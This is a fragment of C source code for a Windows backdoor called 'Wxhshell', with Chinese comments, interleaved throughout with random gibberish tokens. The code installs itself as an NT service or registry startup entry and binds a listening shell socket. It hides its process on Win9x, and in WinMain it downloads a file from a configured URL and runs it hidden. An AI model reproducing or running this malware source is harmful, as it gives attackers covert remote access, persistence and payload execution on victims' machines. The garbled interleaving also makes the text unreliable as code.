N8)]d NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 7|k2~\@q @o6! if (!NtQueryInformationProcess) return 0; w19OOD xD9ZL hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); YbF}>1/" if(!hProcess) return 0; ;;N#'.xD blUS6"kV} if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; NNBT.k3) [W99}bi$ CloseHandle(hProcess); d*$x|B|V xLP8*lvy hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); +hcJ!$J7 if(hProcess==NULL) return 0; =N2@H5+7 0x#
V HMODULE hMod; 65GC7 >[ char procName[255]; *,
R ~[g unsigned long cbNeeded; :4)lmIu J0|}u1?l if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); %jM|*^\% i]LK,' CloseHandle(hProcess); \9k{"4jX\ Xl*-A|:j if(strstr(procName,"services")) return 1; // 以服务启动 ig/716r| Gb\7W return 0; // 注册表启动 |,&!Q$<un } RN:#+S(8 *id|za|:k // 主模块 {UZli[W1 int StartWxhshell(LPSTR lpCmdLine) h?YjG^'9 { TJ5{Ee GV SOCKET wsl; A?|cJ"N BOOL val=TRUE; T[q-$8U int port=0; )x|BY> struct sockaddr_in door; |:r/K |I+E`,n"b if(wscfg.ws_autoins) Install(); y!!+IeReS e?lqs,m@" port=atoi(lpCmdLine); <p0$Q!^dK= 8h20*@wSN if(port<=0) port=wscfg.ws_port; -{b1& ,n!xzoX_ WSADATA data; #-HN[U?Gs if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; =\%>O7c,8Y lE|T'?/ if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; c8"I]Qc7 setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); v,i:vT\~ door.sin_family = AF_INET; kdYl>M door.sin_addr.s_addr = inet_addr("127.0.0.1"); #1bgV door.sin_port = htons(port); 1v\-jM" T*T.\b if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { M<~F>(wxA closesocket(wsl); NxX1_d return 1; t2Y~MyT/ } |b3/63Ri-0 usTCn3u if(listen(wsl,2) == INVALID_SOCKET) { 'qd") closesocket(wsl); ]VYl Eqe return 1; a@jP^VVk } }\*Sf[EMD Wxhshell(wsl); =W|Q0|U WSACleanup(); `A^} X L2h+[f return 0; 6Rf5 oV!9B -< } 5~"=Fm<uD zm .2L // 以NT服务方式启动 86I* VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 3 z#;0n} { u ?Xku8 1l DWORD status = 0; zn~m;0Xi DWORD specificError = 0xfffffff; 9,c>H6R7 T?ZMmUE serviceStatus.dwServiceType = SERVICE_WIN32; -)I _+N serviceStatus.dwCurrentState = SERVICE_START_PENDING; fIcv}Y serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ;hZ@C!S: serviceStatus.dwWin32ExitCode = 0; )yK!qu serviceStatus.dwServiceSpecificExitCode = 0; ]1[;A$7 serviceStatus.dwCheckPoint = 0; f\^QV serviceStatus.dwWaitHint = 0; X>6a@$Mx P T:&+#0< hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); }00e@a if (hServiceStatusHandle==0) return; e.GzGX t}FMBGo[ status = GetLastError(); T7Ac4LA if (status!=NO_ERROR) 2yZ6:U~ { o|W? a#_\ serviceStatus.dwCurrentState = SERVICE_STOPPED; ZD{srEa/a serviceStatus.dwCheckPoint = 0; w8i!Qi#y5D serviceStatus.dwWaitHint = 0; ;~bn@T- serviceStatus.dwWin32ExitCode = status; >D;hT*3 serviceStatus.dwServiceSpecificExitCode = specificError; e`rY]X SetServiceStatus(hServiceStatusHandle, &serviceStatus); RVsN r
rZ return; M Sj0D2H } _YS+{0
Vq% $g};u[y serviceStatus.dwCurrentState = SERVICE_RUNNING; %E\%nTV serviceStatus.dwCheckPoint = 0; KV*:,> serviceStatus.dwWaitHint = 0; GXRjR\Ch if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); jb2:O,+! } \PONaRK|[z OQQ9R?Ll{ // 处理NT服务事件,比如:启动、停止 *La =7y: VOID WINAPI NTServiceHandler(DWORD fdwControl) J4g;~#_19 { |7$h@KF=S switch(fdwControl) 0)]1)z(P { kk'w@Sn.( case SERVICE_CONTROL_STOP: Q2NnpsA^6 serviceStatus.dwWin32ExitCode = 0; 's?F ip serviceStatus.dwCurrentState = SERVICE_STOPPED; kU/=Du serviceStatus.dwCheckPoint = 0; 3>" h*U# serviceStatus.dwWaitHint = 0; U;GoC$b}| { (<X dj^v SetServiceStatus(hServiceStatusHandle, &serviceStatus); C(|5,P#5 } h12wk2@P/] return; \xxVDr. case SERVICE_CONTROL_PAUSE: i 8Xz serviceStatus.dwCurrentState = SERVICE_PAUSED; ^BX@0"&- break; `yZZP case SERVICE_CONTROL_CONTINUE: YoJ'=z,e serviceStatus.dwCurrentState = SERVICE_RUNNING; !f-o,RJ break; J#DcT@ case SERVICE_CONTROL_INTERROGATE: bl?%:qb.V break; }YP7x| }; /AW>5r] SetServiceStatus(hServiceStatusHandle, &serviceStatus); \ZRoTh } n;-r
W;ZO wWU_?Dr_~ // 标准应用程序主函数 rcmAVl:$> int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ue"?S6 { wPJRp]FA !u}3H|6~ // 获取操作系统版本 vCSB8R OsIsNt=GetOsVer(); !<zzP LC GetModuleFileName(NULL,ExeFile,MAX_PATH); \{zAX~k6 f<:U"E. // 从命令行安装 _-J @$d% if(strpbrk(lpCmdLine,"iI")) Install(); t=rAcyNM V55J[s*6! // 下载执行文件 m`IQ+,e if(wscfg.ws_downexe) { uyt-q|83= if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) aijGz< WinExec(wscfg.ws_filenam,SW_HIDE); ;nKHm } i: M*L< + 0"psKf' if(!OsIsNt) { -5v.1y=!L // 如果时win9x,隐藏进程并且设置为注册表启动 7b,,%rUd HideProc(); !5%5]9'n@* StartWxhshell(lpCmdLine); }FiN 7# } !u{"] T: else yCCw< |